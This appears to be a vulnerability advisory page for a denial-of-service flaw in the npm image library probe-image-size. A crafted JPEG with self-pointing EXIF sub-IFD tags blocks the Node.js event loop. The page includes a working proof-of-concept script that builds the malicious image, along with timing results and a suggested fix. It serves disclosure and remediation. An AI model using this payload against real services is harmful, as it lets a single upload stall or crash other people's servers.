Vulnerability DatabaseGHSA-gvwc-5hr5-44p8

GHSA-gvwc-5hr5-44p8: 
JavaScript vulnerability analysis and mitigation

Filed here at the maintainer's request, in reply to our email of 2026-10-21: one GitHub report per issue. This is one of four separate reports split out of that email, and it stands alone. Found with AploSec, our security scanner, and confirmed by execution.

Summary

A 9.6 KB JPEG whose EXIF IFD points back at itself through many sub-IFD tags makes probe.sync block the event loop for about 23 seconds. The cost grows about 15x each time the entry count doubles. The same code runs for probe(stream) and probe(url).

Affected versions

  • probe-image-size 7.4.0 (npm latest, published 2026-08-15). Default-branch HEAD 64565c3c ("7.4.0 released") is identical to the release, and it is still the latest commit and version as of 2026-10-22.
  • Also present, unchanged, in 7.3.0 (same timings). This is not the SVG advisory GHSA-gjj5-9665-rwrc; it is a different file and predates that fix.

Details

lib/exif_utils.js:212. While looking for the orientation tag, entries with tag 0x8769 (ExifIFD pointer) and 0xA005 (InteropIFD pointer) are queued and followed without remembering which IFD offsets were already visited. An IFD with a entries of one kind and b of the other, all pointing at the IFD's own offset, costs about a*b*(a+b) entry reads and keeps growing the job queue. There is no tag 0x112 (orientation) in the file, so the early exit never triggers. Reachable through the JPEG APP1 Exif path in probe.sync, probe(stream) and probe(url). The WebP and AVIF EXIF paths call the same get_orientation. Attacker model: remote and unauthenticated. The attacker only needs to supply image bytes or an image URL to a service that calls probe-image-size (upload handlers, URL unfurling, image proxies).

Proof of concept

poc3.js (7.4.0 at probe-image-size, 7.3.0 at ./old/node_modules/probe-image-size):

// EXIF sub-IFD fan-out: a x tag0x8769 + b x tag0xA005 entries, all pointing at the IFD itself (offset 8)
const probe = require('probe-image-size'), OLD = require('./old/node_modules/probe-image-size')
function tiff (a, b, benign) {
  const n = a + b, buf = Buffer.alloc(8 + 2 + 12 * n + 4)
  buf.write('II*\0', 0, 'latin1'); buf.writeUInt32LE(8, 4); buf.writeUInt16LE(n, 8)
  for (let i = 0; i < n; i++) {
    const o = 10 + 12 * i
    buf.writeUInt16LE(benign ? 0x0100 : (i < a ? 0x8769 : 0xA005), o)   // benign: plain tag (ImageWidth), not a link
    buf.writeUInt16LE(4, o + 2); buf.writeUInt32LE(1, o + 4); buf.writeUInt32LE(8, o + 8)
  }
  return buf
}
function jpeg (t) {
  const app1 = Buffer.concat([Buffer.from('Exif\0\0', 'latin1'), t])
  const l = Buffer.alloc(2); l.writeUInt16BE(app1.length + 2)
  const sof = Buffer.from([0xFF, 0xC0, 0, 11, 8, 0, 1, 0, 1, 1, 1, 0x11, 0])
  return Buffer.concat([Buffer.from([0xFF, 0xD8, 0xFF, 0xE1]), l, app1, sof])
}
for (const n of [100, 200, 400, 800]) {
  const atk = jpeg(tiff(n / 2, n / 2, false)), ctl = jpeg(tiff(n / 2, n / 2, true))
  let s = process.hrtime.bigint(); const r1 = probe.sync(ctl); const tc = Number(process.hrtime.bigint() - s) / 1e6
  s = process.hrtime.bigint(); const r2 = probe.sync(atk); const ta = Number(process.hrtime.bigint() - s) / 1e6
  s = process.hrtime.bigint(); OLD.sync(atk); const to = Number(process.hrtime.bigint() - s) / 1e6
  console.log(`entries=${n} jpeg=${atk.length}B  control=${tc.toFixed(1)}ms attack(7.4.0)=${ta.toFixed(0)}ms attack(7.3.0)=${to.toFixed(0)}ms  dims=${r2 && r2.width}x${r2 && r2.height}`)
}

Test environment: Docker node:22-slim (Node 22.23.4), npm i probe-image-size@7.4.0 (and 7.3.0 in ./old where noted), runs with docker run --rm --network none. Control: the same JPEG with the same number of entries, but using the plain tag 0x0100 (ImageWidth) instead of the two link tags. It parses in 0.1 to 1.1 ms at every size, so the slowdown comes from following the links and not from the entry count. Results:

entries=100 jpeg=1239B  control=1.1ms attack(7.4.0)=26ms attack(7.3.0)=27ms  dims=1x1
entries=200 jpeg=2439B  control=0.1ms attack(7.4.0)=131ms attack(7.3.0)=130ms  dims=1x1
entries=400 jpeg=4839B  control=0.2ms attack(7.4.0)=2038ms attack(7.3.0)=1841ms  dims=1x1
entries=800 jpeg=9639B  control=0.1ms attack(7.4.0)=23128ms attack(7.3.0)=23039ms  dims=1x1

A full-size APP1 segment holds about 5,400 entries, which extrapolates to hours. I did not run sizes above 800 entries (1,600 entries exceeded my time budget).

Impact

Denial of service. One small image pins the Node.js event loop, so a single request stalls every other request the process is serving, and a handful of requests take the service down. Memory also grows with the job queue. No authentication or user interaction is needed.

Suggested fix

Keep a set of visited IFD offsets and skip offsets already seen, and cap the total number of IFDs or entries processed per image. Zachariah Mithani (zachariah@aplosai.com) AploSec (aplosec.si) Credit: Zachariah Mithani (@zachariah-mithani, AploSec)


Source: NVD

Related JavaScript vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-gvwc-5hr5-44p8HIGH7.5
  • JavaScript logoJavaScript
  • probe-image-size
NoYesOct 26, 2026
GHSA-5jh3-w3fj-6758LOW3.7
  • JavaScript logoJavaScript
  • probe-image-size
NoYesOct 26, 2026
GHSA-5v8x-rm7w-m4c7LOW3.7
  • JavaScript logoJavaScript
  • probe-image-size
NoYesOct 26, 2026
GHSA-7pqp-3q23-mwr8LOW3.7
  • JavaScript logoJavaScript
  • probe-image-size
NoYesOct 26, 2026
GHSA-3qg4-7mq2-gm93MEDIUMN/A
  • JavaScript logoJavaScript
  • probe-image-size
NoYesOct 26, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management